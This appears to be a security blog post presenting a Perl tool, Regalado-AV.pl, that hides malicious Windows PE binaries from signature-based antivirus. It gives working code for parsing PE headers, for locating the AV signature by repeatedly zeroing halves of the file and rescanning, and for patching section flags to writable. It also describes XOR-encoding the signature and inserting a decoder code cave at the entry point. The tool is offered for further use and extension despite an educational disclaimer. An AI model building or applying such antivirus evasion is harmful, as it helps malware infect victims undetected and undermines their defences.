DISCLAIMER: For Educational Purpose only. The author is not responsible for any misuse of the information.
INTRODUCTION:
Many different posts have explained the basics to bypass a signature-based AV and therefore I will not explain the same stuff but to come up with a tool that can be used as a framework to keep bypassing the AVs by updating the encoding function with little effort.
SCOPE:
The tool was tested against AVG 7.5 and only works with Windows PE 32 bits binaries.
RESOURCES:
- Code Breakers Magazine: Portable Executable File Format - A Reverse Engineer View.
- This tool is inspired in the presentation give my Mati Aharoni at Shmoocon: http://www.youtube.com/watch?v=kwq5VQj3Ils
- Taking back netcat: http://dl.packetstormsecurity.net/papers/virus/Taking_Back_Netcat.pdf
TOOL NAME: Regalado-AV.pl
TOOL DESCRIPTION:
The tool will read a malicious file, then will play with the AV to locate the malicious signature within the binary, then will encode the signature and finally will insert the decoder function to decode the signature in memory.
MAIN FEATURES OF THE TOOL:
- PE Parsing: The tool loads the PE Binary in memory and extracts important data like PE Header, Data Directory, Section Table and PE File sections.
- Able to locate the "malicious bytes" (signature) being caught by the AV. Each AV has its own signatures to detect malicious files, once we detect the exact location within the binary, the next step is to encode them so that the AV does not see them anymore.
- Insert Code Cave: The tool will redirect the entry point to the encoder/decoder function which will encode the signature being detected.
- Section patching on the fly: The section where the signature is located must be set as "writeable" so that it can be overwritten on memory.
- Opcode creation on the fly: The tool is able to create CALLs and JUMPs instructions calculating the relative address on the fly, and adjusting from RAW to VIRTUAL address as well.
Below is the code to get all the properties from PE Binary:
sub get_PE_structure(){
my @cop = @_;
# bytes 60 - 63 holds the PE Header offset address
$PE{"pe_off_addr"} = hex($cop[63] . $cop[62] . $cop[61] . $cop[60]);
print " PE Offset Address=>" . $PE{"pe_off_addr"} . "\n"; # En decimal
my $pe_off = $PE{"pe_off_addr"};
$PE{"pe_header_off"} = $cop[$pe_off] . $cop[$pe_off + 1];
#Validating we got the PE Header which starts with 50 45 = PE
if ($PE{"pe_header_off"} eq "5045"){
print " PE Header Prefix =>" . $PE{"pe_header_off"} . "\n";
}
else{
print " PE Header Offset NOT FOUND\n";
}
#[80h + 6h] = #NumberOfSections -> 6 bytes after offset of PE Header defined above.
$PE{"NumberOfSections"} = $cop[$PE{"pe_off_addr"} + 6];
print " PE Number of Sections=>" . $PE{"NumberOfSections"} . "\n";
#[80h + 28h] = #Virtual AddressOfEntryPoint -> 28h = 40d
$PE{"AddressOfEntryPoint"} = $cop[$pe_off + 43] . $cop[$pe_off + 42] . $cop[$pe_off + 41] . $cop[$pe_off + 40];
print " PE AddressOfEntryPoint=>" . $PE{"AddressOfEntryPoint"} . "\n";
#[80h + 2Ch] = #Virtual BaseOfCode -> 2Ch = 44d
#BaseOfCode = RVA of first byte of code when loaded into RAM
$PE{"BaseOfCode"} = $cop[$pe_off + 47] . $cop[$pe_off + 46] . $cop[$pe_off + 45] . $cop[$pe_off + 44];
print " PE BaseOfCode=>" . $PE{"BaseOfCode"} . "\n";
#[80h + 34h] = #ImageBase -> 34h = 52d
$PE{"ImageBase"} = $cop[$pe_off + 55] . $cop[$pe_off + 54] . $cop[$pe_off + 53] . $cop[$pe_off + 52];
print " PE ImageBase=>" . $PE{"ImageBase"} . "\n";
#Calculating the distance from the start of Code section to the Entry Point, this will be used to calculate the Raw Offset of Entry Point
my $diff = hex($PE{"AddressOfEntryPoint"}) - hex($PE{"BaseOfCode"});
#print " Entry point is $diff (dec) bytes away from the start of code section\n";
#Sections related data, not part of PE Structure but each section
#[80h + F8h] = #START OF SECTION TABLE - PE Offset + F8h (248d) = 178h start of .text section
$sec_off = $pe_off + 248;
for (my $i =1; $i <= $PE{"NumberOfSections"}; $i++){
#[80h + F8h] = #START OF SECTION TABLE - PE Offset + F8h (248d) = 178h start of .text section
#[178] = #Offset of .text section
#[178] = #Section name - 8 bytes
$sec_name = sprintf("%c%c%c%c%c%c%c%c", hex($cop[$sec_off]) , hex($cop[$sec_off + 1]) , hex($cop[$sec_off + 2]) , hex($cop[$sec_off + 3]) ,
hex($cop[$sec_off + 4]) , hex($cop[$sec_off + 5]) , hex($cop[$sec_off + 6]) , hex($cop[$sec_off + 7]));
$sec_name =~ s/^(\.[a-zA-Z]+).+/$1/;
print " Section Name=>" . $sec_name . "<<\n";
$SEC{$i}{"name"} = $sec_name;
$SEC{$i}{"offset"} = $sec_off;
#print " Section Offset=>" . $SEC{$i}{"offset"} . "\n";
#[178h + 0c] = #Virtual Address - Size of data on disk - 4 bytes - + 0c h = 12d
$SEC{$i}{"VirtualAddress"} = $cop[$sec_off + 15] . $cop[$sec_off + 14] . $cop[$sec_off + 13] . $cop[$sec_off + 12];
print " VirtualAddress=>" . $SEC{$i}{"VirtualAddress"} . "\n";
#[178h + 10h] = #SizeOfRawData - Size of data on disk - 4 bytes
$SEC{$i}{"SizeOfRawData"} = $cop[$sec_off + 19] . $cop[$sec_off + 18] . $cop[$sec_off + 17] . $cop[$sec_off + 16];
print " SizeOfRawData=>" . $SEC{$i}{"SizeOfRawData"} . "\n";
#[178h + 14h] = #PointerToRawData - Raw Offset of section on disk - could be zero, if not, take it without extra calc, otherwise extra calc.
$SEC{$i}{"PointerToRawData"} = $cop[$sec_off + 23] . $cop[$sec_off + 22] . $cop[$sec_off + 21] . $cop[$sec_off + 20];
print " PointerToRawData=>" . $SEC{$i}{"PointerToRawData"} . "\n";
if ($i == 1){
#Saving ONLY offset of first section which will be the offset to start obfuscating the file
$firstOffset = hex($SEC{$i}{"PointerToRawData"});
#Calculating the Raw offset of Entry Point based on Virtual AddressOfEntryPoint
$rawEntryPoint = $firstOffset + $diff;
print " Raw Entry Point: $rawEntryPoint\n";
}
#[178h + 24h] = #Characteristics - DWORD = 4 bytes - Defines the permissions of the file when loaded in Memory
#Flags => 20000000 - section is executable
# 40000000 - section is readable
# 80000000 - section is writable - Si valor del flag es menor a 80000000 entonces no es writable y hay que sumarle esta cantidad.
# e.g. .rdata flag = 40000040 no writable. Making it writable will require to add 80000000 to current value so final flag would be = C0000040
# 40000040 + 80000000 = C0000040
$SEC{$i}{"flag"} = $cop[$sec_off + 39] . $cop[$sec_off + 38] . $cop[$sec_off + 37] . $cop[$sec_off + 36];
print " Flag=>" . $SEC{$i}{"flag"} . "\n";
#Pass current flag of section and the array containing the raw file, this when calling the function
#Now, lets move on to the next section offset which is 28h = 40d bytes further
$sec_off += 40;
}#End of For loop
}
Locating the malicious signature within the binary:
The idea was taken from the document "Taking back Netcat", with little changes, basically the steps performed by the tool are shown below:
- The binary will be splitted into two parts: part1 and part2.
- Part 1 is filled out with zeros.
- The AV scan is run against the binary.
- If a virus is detected by the scan, it means the signature is located in part2 (since part1 contains only zeros). Then, part2 is divided into part1 and part2 and go to point 3.
- If a virus is NOT detected by the scan, then the virus is located in part1. Then part1 is divided into part1 and part2 and go to point 3.
- Loop from point 3 to 5 is repeated until no more bytes left to analyzed or until the AV does not detect the virus anymore in part1 and part2.
sub get_signature(){
my ($parte, $off, $end, @cop) = @_;
my $chunk = "";
my $div = "";
my $mod = "";
if ($parte eq "p1") { #Divide en 2 partes y utiliza la primera - p1
$chunk = $end - $off;
$div = $off + ($chunk / 2);
$mod = $chunk % 2;
if ($mod == 1) {
$div = ceil($div);
#print "Redondeo: $div\n";
}
}
elsif ($parte eq "p2"){#No divide solo ofusca la parte 2
$div = $end;
}
print "\n" . $off . " < -- > ". $div . "\n";
#Siempre habre solo 2 partes del archivo: Parte 1 y Parte 2
#for my $n ($offset .. $div){#Llenamos Parte 1 de ceros
my $cont = 0;
for my $n ($off .. $div){#Llenamos Parte 1 de ceros
$cop[$n] = sprintf("%02x", "00");
$cont += 1;
}
print "Bytes obfuscated: " . $cont . "\n";
write_file(@cop); #Write file to be scanned by AV
ask_user(); #Asl end user whether virus found
if ($ans eq "y") { #Virus Found then signature is located in the Parte 2
$c_found +=1;
if ($c_found == 2){
#check if a previous good obfuscation of signature was detected
if ($sig_ini > 0){
print "\n\t***** Signature FOUND *******\n";
#print "\t" . $sig_ini . " < -- > ". $sig_end . "\n";
get_section();
get_signatureVA();#Calculate Vitual offset of signature to use it within decoder routine
print "\tSignature Address range: " . $vsig_ini . " < -- > ". $vsig_end . "\n\n";
}
else{
print "\n\t***** Oooops :-( ... Signature NOT FOUND *******\n";
exit(0);
}
}
else{
get_signature("p2", $div + 1, $end, @copia);
}
}
elsif ($ans eq "n") {#Signature located at Parte 1
$c_found =0;
$sig_ini = $off;
$sig_end = $div;
#Before searching again for the signature, we make sure the signature is not less than 1 byte, if so, no more iteractions
if ( ($div - $off <= 1) ){
print "\n\t***** Signature FOUND ***********\n" ;
get_section();
get_signatureVA();#Calculate Vitual offset of signature to use it within decoder routine
print "\tSignature Address Range: " . $vsig_ini . " < -- > ". $vsig_end . "\n\n";
}
else{
get_signature("p1", $off, $div, @copia);
}
}
}
You can see how this works by watching the video mentioned at the end of this article.
Inserting Code Cave:
- The tool searches for enough space (35 bytes) within the text section to insert our decoder. TODO: The tool should be able to search in every section or even to create a new one if not enough space found.
- The tool redirect the Entry Point by inserting a CALL instruction to jump into the space found at point 1. The tool assumes the entry point contains a 5-opcode instruction and therefore able to replace it with a CALL instruction which is also 5 bytes. The tool supports the option to change this assumption with the "-o" option.
- The signature found is encoded with a XOR encryption key.
- A basic XOR decoder is inserted with a random encryption key, which is calculated every time the program runs.
- The new file is stored in the filesystem.
One the the main features that personally loved to implement was to be able to make the section writeable if need.
Every section (text, data, resources, so on) within a PE file contains a DWORD member called "Characteristics" which contains flags to indicate whether the file is executable or the permissions of the file on memory. In our case, we need to make sure, the section is "Writeable" on memory so that we can change the signature (which was encoded at rest) on memory.
The calculation took me time to understand it but the formula is so simple. The tool gets the DWORD bytes of the characteristics member within the section where the signature was found and then if the value is less than 0x80000000 it means the section is NOT writeable on memory and therefore the hex value 0x80000000 is added to the current flag.
The code is shown below:
sub set_flag(){
my $i = shift @_;
#@copia = @main;
#Si el valor del flag es < 80000000 entonces no es writable y por lo tanto se le suma al valor 80000000. Y si es >= 80000000 entonces es writable y no se hace nada.
if ( hex($SEC{$i}{"flag"}) < hex("80000000") ) {
print ("\tThe section is not writable! so patching the section.\n");
my $w_byte = sprintf("%x", hex($SEC{$i}{"flag"}) + hex("80000000") ) ;
#print " New writable Flag=>" . $w_byte . "\n";
#Patching the binary in little endian.
$copia[$SEC{$i}{"offset"} + 36] = substr $w_byte, 6,2;
$copia[$SEC{$i}{"offset"} + 37] = substr $w_byte, 4,2;
$copia[$SEC{$i}{"offset"} + 38] = substr $w_byte, 2,2;
$copia[$SEC{$i}{"offset"} + 39] = substr $w_byte, 0,2;
#Escribimos nuevo binario parchado
#write_file(@copia);
}
else{
print ("\tThe section is writable so we are good to go!\n");
}
}
TODO:
- Able to insert new encoders to bypass latest AVs.
- Able to create new sections if needed.
- Able to encode the Metasploit encoders.
IMPORTANT:
Se how the tool works here:
If interested in the source code, send me an email to danuxx@gmail.com.
Please share new ideas to implement new encoders in the tool.